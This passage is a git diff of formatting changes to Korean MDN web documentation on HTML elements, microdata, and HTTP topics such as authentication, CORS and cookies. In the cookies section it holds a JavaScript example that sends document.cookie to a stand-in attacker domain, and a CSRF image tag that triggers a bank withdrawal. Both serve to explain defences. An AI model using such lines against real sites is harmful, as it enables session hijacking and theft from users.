불리언 특성은 스타일시트를 불러와서 문서에 적용할지 나타냅니다. HTML을 불러오는 시점에 <code>disabled</code>를 지정한 경우 스타일시트는 페이지 로딩 시점에 불러오지 않습니다. 이후에 <code>disabled</code> 특성이 <code>false</code>로 바뀌거나 아예 제거될 때는 불러옵니다.</p><p>DOM에서 <code>disabled</code> 속성을 지정하면 문서의 {{domxref("document.styleSheets")}} 리스트에서 스타일시트를 제거합니다.</p></dd><dt>{{HTMLAttrDef("href")}}</dt><dd>연결할 리소스의 {{glossary("URL")}}입니다. 절대와 상대 URL 모두 가능합니다.</dd><dt>{{HTMLAttrDef("hreflang")}}</dt><dd>연결할 리소스가 사용하는 언어입니다. 오직 제안하는 용도로만 사용합니다. 가능한 값은 <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>에 따릅니다. {{htmlattrxref("href", "link")}} 특성이 존재할 때만 사용하세요.</dd><dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt><dd>리소스의 상대적인 중요도입니다. 가능한 값은 다음과 같습니다.</dd><dd><p><strong><code>auto</code></strong>: <strong>설정 안함</strong>. 브라우저가 자체 휴리스틱을 사용해 리소스의 우선순위를 결정합니다.</p><p><strong><code>high</code></strong>: 브라우저에게 리소스가 <strong>높은</strong> 우선순위를 지님을 알려줍니다.</p><p><strong><code>low</code></strong>: 브라우저에게 리소스가 <strong>낮은</strong> 우선순위를 지님을 알려줍니다.</p><div class="blockIndicator note"><p><strong>참고: </strong><code>importance</code> 특성은 <code>&#x3C;link></code> 요소가 <code>rel="preload"</code> 또는 <code>rel="prefetch"</code>를 가지고 있어야 사용할 수 있습니다.</p></div></dd><dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt><dd>Contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you're telling the browser to fetch. The browser can use this to verify that the fetched resource has been delivered free of unexpected manipulation. See <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd><dt>{{htmlattrdef("media")}}</dt><dd>연결된 리소스를 적용할 미디어를 명시합니다. 값으로는 반드시 미디어 유형이나 미디어 쿼리를 사용해야 합니다. <code>media</code> 특성은 사용자 에이전트가 현재 장치에 맞춰 최적의 스타일시트를 선택하도록 할 수 있으므로 주로 외부 스타일시트를 연결할 때 유용합니다.<div class="note"><strong>참고:</strong><ul><li>HTML 4에서는 이 특성의 값으로 사용할 수 있는<code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>등과 같은 값을 공백으로 구분한 미디어 설명 문자열 목록, 예를 들어, 미디어 유형 및 그룹(<a href="/en-US/docs/CSS/@media">media types and groups</a>)일 수 있습니다.HTML5에서는 이를 확장하여 HTML 4에서 허용되는 값 외에 어떤 유형의<a href="/en-US/docs/CSS/Media_queries">media queries</a>든 사용할 수 있습니다.</li><li><a href="/en-US/docs/CSS/Media_queries">CSS3 Media Queries</a>를 지원하지 않는 브라우저는 이를 타당한 링크로 인식하지 않을 수 있으므로HTML 4에 정의되어 있는제한된 media query의 집합을 이용한 폴백(fallback) 링크를 설정하는 것을 잊지 말기바랍니다.</li></ul></div></dd><dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt><dd>A string indicating which referrer to use when fetching the resource:<ul><li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li><li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent's default behavior, if no policy is otherwise specified.</li><li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li><li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li><li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li></ul></dd><dt>{{htmlattrdef("rel")}}</dt><dd>연결할 리소스와 현재 문서의 관계. <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a>의 값을 공백으로 구분한 리스트를 지정해야 합니다.</dd><dt>{{HTMLAttrDef("sizes")}}</dt><dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values:<ul><li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li><li>a white-space separated list of sizes, each in the format <code><em>&#x3C;width in pixels></em>x<em>&#x3C;height in pixels></em></code> or <code><em>&#x3C;width in pixels></em>X<em>&#x3C;height in pixels></em></code>. Each of these sizes must be contained in the resource.</li></ul><div class="blockIndicator note"><p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p></div></dd><dt>{{htmlattrdef("title")}}</dt><dd>The <code>title</code> attribute has special semantics on the <code>&#x3C;link></code> element. When used on a <code>&#x3C;link rel="stylesheet"></code> it defines a <a href="/ko/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/ko/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd><dt>{{htmlattrdef("type")}}</dt><dd>이 특성은 링크된 콘텐츠의 타입을 정의하는데 사용됩니다. 특성의 값은<strong> text/html</strong>, <strong>text/css</strong>와 같은 MIME 타입이여야합니다. 이 특성은 링크된 스타일시트의 타입을 지정하는데 쓰이는것이 보통이며, text/css 값이 가장 흔합니다.</dd></dl>
 
 ### 비표준 특성
 
diff --git a/files/ko/web/html/element/script/index.md b/files/ko/web/html/element/script/index.md
index ea9708b682a59a..af2df0b75fff82 100644
--- a/files/ko/web/html/element/script/index.md
+++ b/files/ko/web/html/element/script/index.md
@@ -128,7 +128,7 @@ slug: Web/HTML/Element/script
     - **`module`:** 스크립트를 JavaScript 모듈로 간주합니다. 스크립트 콘텐츠 처리가 `charset`과 `defer` 특성의 영향을 받지 않습니다. `module`의 더 자세한 사용법은 MDN의 [JavaScript 모듈 안내서](/ko/docs/Web/JavaScript/Guide/Modules)를 참고하세요. 기존 스크립트와 달리, 모듈 스크립트는 교차 출처 가져오기 시 CORS 프로토콜을 사용해야 합니다.
     - **다른 모든 값:** 내장 콘텐츠를 브라우저가 처리하지 않을 데이터 블록으로 간주합니다. 개발자는 반드시 유효하면서 JavaScript가 아닌 MIME 유형을 지정해야 합니다. `src` 특성을 무시합니다.
 
-<div class="hidden"><h3 id="Deprecated_attributes">Deprecated attributes</h3><dl><dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt><dd>If present, its value must be an ASCII case-insensitive match for "<code>utf-8</code>". It’s unnecessary to specify the <code>charset</code> attribute, because documents must use UTF-8, and the <code>script</code> element inherits its character encoding from the document.</dd><dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt><dd>Like the <code>type</code> attribute, this attribute identifies the scripting language in use. Unlike the <code>type</code> attribute, however, this attribute’s possible values were never standardized. The <code>type</code> attribute should be used instead.</dd></dl></div>
+<div class="hidden"><h3 id="Deprecated_attributes">Deprecated attributes</h3><dl><dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt><dd>If present, its value must be an ASCII case-insensitive match for "<code>utf-8</code>". It's unnecessary to specify the <code>charset</code> attribute, because documents must use UTF-8, and the <code>script</code> element inherits its character encoding from the document.</dd><dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt><dd>Like the <code>type</code> attribute, this attribute identifies the scripting language in use. Unlike the <code>type</code> attribute, however, this attribute's possible values were never standardized. The <code>type</code> attribute should be used instead.</dd></dl></div>
 
 ## 참고
 
diff --git a/files/ko/web/html/global_attributes/itemprop/index.md b/files/ko/web/html/global_attributes/itemprop/index.md
index 690d99db9ecd76..0403659032e719 100644
--- a/files/ko/web/html/global_attributes/itemprop/index.md
+++ b/files/ko/web/html/global_attributes/itemprop/index.md
@@ -339,7 +339,7 @@ ID가 사람에게 친화적인 형태가 아니므로, 사람이 읽을 수 있
 
 이름은 서로 순서가 없지만, 특정한 이름이 여러 값을 가지는 경우라면 상대적인 순서를 가집니다.
 
-#### 다음 예제에서 "a" 프로퍼티는 순서대로 "1"과 "2"의 값을 가지지만, "a" 프로퍼티가 "b" 프로퍼티 보다 먼저 오는지 아닌지는 중요하지 않습니다.
+#### 다음 예제에서 "a" 프로퍼티는 순서대로 "1"과 "2"의 값을 가지지만, "a" 프로퍼티가 "b" 프로퍼티 보다 먼저 오는지 아닌지는 중요하지 않습니다
 
 ```html
 <div itemscope>
@@ -349,7 +349,7 @@ ID가 사람에게 친화적인 형태가 아니므로, 사람이 읽을 수 있
 </div>
 ```
 
-#### 다음 세 예제는 모두 같습니다.
+#### 다음 세 예제는 모두 같습니다
 
 ```html
 <div itemscope>
diff --git a/files/ko/web/http/authentication/index.md b/files/ko/web/http/authentication/index.md
index f890dab7853dfe..2e648725f73b6d 100644
--- a/files/ko/web/http/authentication/index.md
+++ b/files/ko/web/http/authentication/index.md
@@ -103,7 +103,7 @@ location /status {
 https://username:password@www.example.com/
 ```
 
-**이러한 방식의 URL은 더 이상 사용되지 않습니다**. Chrome에서, URL의 `username:password@` 부분은 보안 상의 이유로 [제거](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7)됩니다. Firefox에서는, 해당 사이트가 진짜로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "You are about to log in to the site “www\.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."와 같이 경고합니다.
+**이러한 방식의 URL은 더 이상 사용되지 않습니다**. Chrome에서, URL의 `username:password@` 부분은 보안 상의 이유로 [제거](https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7)됩니다. Firefox에서는, 해당 사이트가 진짜로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "You are about to log in to the site "www\.example.com" with the username "username", but the website does not require authentication. This may be an attempt to trick you."와 같이 경고합니다.
 
 ## 함께 보기
 
diff --git a/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.md
index f92307653885ca..6d655e98747c18 100644
--- a/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.md
+++ b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.md
@@ -2,6 +2,7 @@
 title: 웹의 리소스 식별하기
 slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
 ---
+
 {{HTTPSidebar}}
 HTTP 요청 대상을 "리소스"라고 하며 리소스의 특성은 더 이상 정의되지 않습니다. 리소스는 문서, 사진 등으로 그 어떤 것이든 될 수 있습니다. 각 리소스는 리소스 식별을 위해 HTTP 전체에서 사용되는 {{Glossary("URI")}}(Uniform Resource Identifier)로 식별됩니다.
 
@@ -45,19 +46,19 @@ urn:ietf:rfc:7230
 - ![Protocol](mdn-url-protocol@x2.png)
   - : `http://`는 프로토콜로, 브라우저가 사용해야 하는 프로토콜을 나타냅니다. 일반적으로 프로토콜은 HTTP이거나 보안 버전인 HTTPS입니다. 웹은 이 두 가지 중 하나를 사용하지만, 브라우저는 메일 클라이언트를 여는 `mailto:` 또는 파일 전송을 처리하는 `ftp:`와 같은 다른 프로토콜을 처리하는 방법도 알고 있으므로 이러한 프로토콜을 보더라도 놀라지 않으셔도됩니다. 일반적인 스키마는 다음과 같습니다.
 
-| 스키마 | 설명 |
-| ----------- | -------------------------------------------------------------------- |
-| data | [Data URL](/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) |
-| file | 호스트별 파일 이름 |
-| ftp | {{Glossary("FTP","File Transfer Protocol")}} |
-| http/https | [하이퍼 텍스트 전송 프로토콜 (보안)](/ko/docs/Glossary/HTTP) |
-| javascript | URL내 JavaScript 코드 |
-| mailto | 전자 메일 주소 |
-| ssh | 보안 쉘 |
-| tel | 전화 |
-| urn | 통합 자원 이름 |
-| view-source | 리소스의 소스코드 |
-| ws/wss | [웹 소켓 연결 (보안)](/ko/docs/Web/API/WebSockets_API) |
+| 스키마      | 설명                                                         |
+| ----------- | ------------------------------------------------------------ |
+| data        | [Data URL](/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URLs)       |
+| file        | 호스트별 파일 이름                                           |
+| ftp         | {{Glossary("FTP","File Transfer Protocol")}}                 |
+| http/https  | [하이퍼 텍스트 전송 프로토콜 (보안)](/ko/docs/Glossary/HTTP) |
+| javascript  | URL내 JavaScript 코드                                        |
+| mailto      | 전자 메일 주소                                               |
+| ssh         | 보안 쉘                                                      |
+| tel         | 전화                                                         |
+| urn         | 통합 자원 이름                                               |
+| view-source | 리소스의 소스코드                                            |
+| ws/wss      | [웹 소켓 연결 (보안)](/ko/docs/Web/API/WebSockets_API)       |
 
 ### 도메인 이름
 
diff --git a/files/ko/web/http/basics_of_http/index.md b/files/ko/web/http/basics_of_http/index.md
index dd28b1f603472a..7f5dce59c2ccf6 100644
--- a/files/ko/web/http/basics_of_http/index.md
+++ b/files/ko/web/http/basics_of_http/index.md
@@ -2,6 +2,7 @@
 title: HTTP 기본
 slug: Web/HTTP/Basics_of_HTTP
 ---
+
 {{HTTPSidebar}}
 
 HTTP는 상당히 확장 가능한 프로토콜입니다. 자원과 URI의 개념, 메시지의 단순한 구조, 통신 흐름을 위한 클라이언트-서버 구조와 같은 몇 가지 기본 개념에 의존합니다. 이러한 기본 개념을 토대로, 새로운 HTTP 메서드나 헤더의 생성을 통해 새로운 기능과 새로운 의미를 더하는 수많은 확장들이 수년간 생겨났습니다.
diff --git a/files/ko/web/http/browser_detection_using_the_user_agent/index.md b/files/ko/web/http/browser_detection_using_the_user_agent/index.md
index 4db9f8471c28b1..0ef44f9ca541b3 100644
--- a/files/ko/web/http/browser_detection_using_the_user_agent/index.md
+++ b/files/ko/web/http/browser_detection_using_the_user_agent/index.md
@@ -29,25 +29,25 @@ user agent 감지를 피하는 몇 가지 방법이 있습니다!
 
 - `기능 탐지` 기능 탐지는 어떤 브라우저가 당신의 페이지를 렌더링하는지를 알아내려고 할 때가 아니라, 어떤 특정한 기능을 당신이 사용가능한지를 확인할 때 사용합니다. 그렇지 않다면, 대비책을 사용하세요. 브라우저 간의 차이점을 찾는 몇 안되는 경우에서는 user agent 문자열을 사용하는 대신, 브라우저가 API를 구현하는 방법을 탐지하고 API를 사용하는 방법을 결정하는 테스트를 구현하는 것이 좋습니다. 아래는 기능탐지의 좋은 최신 예시 입니다. 최근 크롬은[experimental lookbehind support to regular expressions](https://www.chromestatus.com/feature/5668726032564224)을 추가했지만, 다른 브라우저들은 이를 지원하지 않습니다. 그러므로 당신은 이와 같이 해야 한다고 잘못 생각하고 있을 것입니다.
 
- ```js
- // 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.
-
-if (navigator.userAgent.indexOf("Chrome") !== -1){
-// 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
-// 같습니다.
-// /(?&#x3C;=[A-Z])/를 사용하지 마십시오. 정규표현식의
-// look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
-// 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
-// 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
-var camelCaseExpression = new RegExp("(?&#x3C;=[A-Z])");
-var splitUpString = function(str) {
-return (""+str).split(camelCaseExpression);
-};
+```js
+// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.
+
+if (navigator.userAgent.indexOf("Chrome") !== -1) {
+  // 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
+  // 같습니다.
+  // /(?&#x3C;=[A-Z])/를 사용하지 마십시오. 정규표현식의
+  // look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
+  // 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
+  // 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
+  var camelCaseExpression = new RegExp("(?&#x3C;=[A-Z])");
+  var splitUpString = function (str) {
+    return ("" + str).split(camelCaseExpression);
+  };
 } else {
-/_아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다._/
-var splitUpString = function(str){
-return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
-};
+  /_아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다._/;
+  var splitUpString = function (str) {
+    return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
+  };
 }
 console.log(splitUpString("fooBare")); // ["fooB", "are"]
 console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]
@@ -65,19 +65,21 @@ look-behind 지원여부 자체를 테스트함으로써 이 문제들을 회피
 var isLookBehindSupported = false;
 
 try {
-new RegExp("(?&#x3C;=)");
-isLookBehindSupported = true;
+  new RegExp("(?&#x3C;=)");
+  isLookBehindSupported = true;
 } catch (err) {
-// agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
-// RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
-// 여전히 false일 것입니다.
+  // agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
+  // RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
+  // 여전히 false일 것입니다.
 }
 
-var splitUpString = isLookBehindSupported ? function(str) {
-return (""+str).split(new RegExp("(?&#x3C;=[A-Z])"));
-} : function(str) {
-return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
-};
+var splitUpString = isLookBehindSupported
+  ? function (str) {
+      return ("" + str).split(new RegExp("(?&#x3C;=[A-Z])"));
+    }
+  : function (str) {
+      return str.replace(/[A-Z]/g, "z$1").split(/z(?=[A-Z])/g);
+    };
 ```
 
 위의 코드가 시범을 보였듯이, user agent를 살펴보지 않고도 어떤 기능에 대한 브라우저 지원 여부를 시험할 수 있는 방법이 **항상** 존재합니다. 기능 지원 여부를 확인하기 위해 user agent 문자열을 확인할 필요가 **전혀** 없습니다.
@@ -185,7 +187,7 @@ addEventListener(
   () => {
     orientationChanged = true;
   },
-  PASSIVE_LISTENER_OPTION
+  PASSIVE_LISTENER_OPTION,
 );
 
 addEventListener("resize", () =>
@@ -196,7 +198,7 @@ addEventListener("resize", () =>
       }
     }
     mediaQueryUpdated = orientationChanged = false;
-  }, 0)
+  }, 0),
 );
 ```
 
diff --git a/files/ko/web/http/client_hints/index.md b/files/ko/web/http/client_hints/index.md
index 5198055844d8d1..3edd57aa382699 100644
--- a/files/ko/web/http/client_hints/index.md
+++ b/files/ko/web/http/client_hints/index.md
@@ -15,7 +15,7 @@ Accept-CH: DPR, Width, Viewport-Width, Downlink
 또는
 
 ```html
-<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink">
+<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink" />
 ```
 
 클라이언트가 `Accept-CH` header를 전달받게 되면 지원되는 경우, Client Hint header를 추가합니다. 예를 들어 위의 Accept-CH 예제를 기반으로 클라이언트는 모든 후속 요청에 DPR, Width, Viewport-Width 및 Downlink 헤더를 추가 할 수 있습니다.
diff --git a/files/ko/web/http/cookies/index.md b/files/ko/web/http/cookies/index.md
index 666858411e866c..4beb47d253a517 100644
--- a/files/ko/web/http/cookies/index.md
+++ b/files/ko/web/http/cookies/index.md
@@ -125,7 +125,8 @@ console.log(document.cookie);
 쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 {{Glossary("XSS")}} 취약점을 이용하는 것을 포함합니다.
 
 ```js
-(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+new Image().src =
+  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
 ```
 
 `HttpOnly` 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.
@@ -135,7 +136,8 @@ console.log(document.cookie);
 [위키피디아](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery)에 {{Glossary("CSRF")}}에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):
 
 ```html
-<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+<img
+  src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
 ```
 
 이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:
diff --git a/files/ko/web/http/cors/errors/corsdidnotsucceed/index.md b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.md
index bfbd5265ed84b2..13b29251c36718 100644
--- a/files/ko/web/http/cors/errors/corsdidnotsucceed/index.md
+++ b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Reason: CORS request did not succeed'
+title: "Reason: CORS request did not succeed"
 slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
 ---
 
diff --git a/files/ko/web/http/cors/errors/corsdisabled/index.md b/files/ko/web/http/cors/errors/corsdisabled/index.md
index 54eac1ee636b06..a8f11ed81311f9 100644
--- a/files/ko/web/http/cors/errors/corsdisabled/index.md
+++ b/files/ko/web/http/cors/errors/corsdisabled/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Reason: CORS disabled'
+title: "Reason: CORS disabled"
 slug: Web/HTTP/CORS/Errors/CORSDisabled
 ---
 
diff --git a/files/ko/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.md b/files/ko/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.md
index 842165ea306d7c..12a8ad77f1cf78 100644
--- a/files/ko/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.md
+++ b/files/ko/web/http/cors/errors/corsmultiplealloworiginnotallowed/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Reason: Multiple CORS header ''Access-Control-Allow-Origin'' not allowed'
+title: "Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed"
 slug: Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed
 ---
 
diff --git a/files/ko/web/http/cors/errors/corspreflightdidnotsucceed/index.md b/files/ko/web/http/cors/errors/corspreflightdidnotsucceed/index.md
index e54d6f23fef3f4..525608fd295aa3 100644
--- a/files/ko/web/http/cors/errors/corspreflightdidnotsucceed/index.md
+++ b/files/ko/web/http/cors/errors/corspreflightdidnotsucceed/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Reason: CORS preflight channel did not succeed'
+title: "Reason: CORS preflight channel did not succeed"
 slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
 ---
 
diff --git a/files/ko/web/http/cors/errors/corsrequestnothttp/index.md b/files/ko/web/http/cors/errors/corsrequestnothttp/index.md
index 99ae65d87ee6f3..400e7fa48ddbe1 100644
--- a/files/ko/web/http/cors/errors/corsrequestnothttp/index.md
+++ b/files/ko/web/http/cors/errors/corsrequestnothttp/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Reason: CORS request not HTTP'
+title: "Reason: CORS request not HTTP"
 slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
 ---
 
diff --git a/files/ko/web/http/cors/errors/index.md b/files/ko/web/http/cors/errors/index.md
index a184d64a4ef4d1..f10a85c34bdaae 100644
--- a/files/ko/web/http/cors/errors/index.md
+++ b/files/ko/web/http/cors/errors/index.md
@@ -43,31 +43,31 @@ Firefox 콘솔은 CORS에 의해 요청이 실패했을 때 메시지를 출력
 
 - [Reason: CORS disabled](/ko/docs/Web/HTTP/CORS/Errors/CORSDisabled)
 - [Reason: CORS request did not succeed](/ko/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed)
-- [Reason: CORS header ‘Origin’ cannot be
+- [Reason: CORS header 'Origin' cannot be
   added](/ko/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded)
 - [Reason: CORS request external redirect
   not allowed](/ko/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed)
 - [Reason: CORS request not http](/ko/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp)
 - [Reason: CORS header
-  ‘Access-Control-Allow-Origin’ missing](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin)
+  'Access-Control-Allow-Origin' missing](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin)
 - [Reason: CORS header
-  ‘Access-Control-Allow-Origin’ does not match ‘xyz’](/ko/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin)
+  'Access-Control-Allow-Origin' does not match 'xyz'](/ko/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin)
 - [Reason: Credential is not supported if the
-  CORS header ‘Access-Control-Allow-Origin’ is ‘\*’](/ko/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials)
+  CORS header 'Access-Control-Allow-Origin' is '\*'](/ko/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials)
 - [Reason: Did not find method in CORS header
-  ‘Access-Control-Allow-Methods’](/ko/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound)
-- [Reason: expected ‘true’ in CORS header
-  ‘Access-Control-Allow-Credentials’](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials)
+  'Access-Control-Allow-Methods'](/ko/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound)
+- [Reason: expected 'true' in CORS header
+  'Access-Control-Allow-Credentials'](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials)
 - [Reason: CORS preflight channel did not
   succeed](/ko/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed)
-- [Reason: invalid token ‘xyz’ in CORS header
-  ‘Access-Control-Allow-Methods’](/ko/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod)
-- [Reason: invalid token ‘xyz’ in CORS header
-  ‘Access-Control-Allow-Headers’](/ko/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader)
-- [Reason: missing token ‘xyz’ in CORS
-  header ‘Access-Control-Allow-Headers’ from CORS preflight channel](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight)
+- [Reason: invalid token 'xyz' in CORS header
+  'Access-Control-Allow-Methods'](/ko/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod)
+- [Reason: invalid token 'xyz' in CORS header
+  'Access-Control-Allow-Headers'](/ko/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader)
+- [Reason: missing token 'xyz' in CORS
+  header 'Access-Control-Allow-Headers' from CORS preflight channel](/ko/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight)
 - [Reason: Multiple CORS header
-  ‘Access-Control-Allow-Origin’ not allowed](/ko/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed)
+  'Access-Control-Allow-Origin' not allowed](/ko/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed)
 
 ## 더보기
 
diff --git a/files/ko/web/http/cors/index.md b/files/ko/web/http/cors/index.md
index 0424898e22cd83..928ae6abebc39a 100644
--- a/files/ko/web/http/cors/index.md
+++ b/files/ko/web/http/cors/index.md
@@ -53,7 +53,7 @@ CORS 실패는 오류의 원인이지만, 보안상의 이유로 JavaScript에
   - {{HTTPMethod("HEAD")}}
   - {{HTTPMethod("POST")}}
 
-- 유저 에이전트가 자동으로 설정 한 헤더 (예를들어, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, [Fetch 명세에서 “forbidden header name”으로 정의한 헤더](https://fetch.spec.whatwg.org/#forbidden-header-name))외에, 수동으로 설정할 수 있는 헤더는 오직 [Fetch 명세에서 “CORS-safelisted request-header”로 정의한 헤더](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) 뿐입니다.
+- 유저 에이전트가 자동으로 설정 한 헤더 (예를들어, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, [Fetch 명세에서 "forbidden header name"으로 정의한 헤더](https://fetch.spec.whatwg.org/#forbidden-header-name))외에, 수동으로 설정할 수 있는 헤더는 오직 [Fetch 명세에서 "CORS-safelisted request-header"로 정의한 헤더](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) 뿐입니다.
 
   - {{HTTPHeader("Accept")}}
   - {{HTTPHeader("Accept-Language")}}
@@ -71,7 +71,7 @@ CORS 실패는 오류의 원인이지만, 보안상의 이유로 JavaScript에
 
 > **참고:** 이는 웹 컨텐츠가 이미 발행할 수 있는 것과 동일한 종류의 cross-site 요청입니다. 서버가 적절한 헤더를 전송하지 않으면 요청자에게 응답 데이터가 공개되지 않습니다. 따라서 cross-site 요청 위조를 방지하는 사이트는 HTTP 접근 제어를 두려워 할 만한 부분이 없습니다.
 
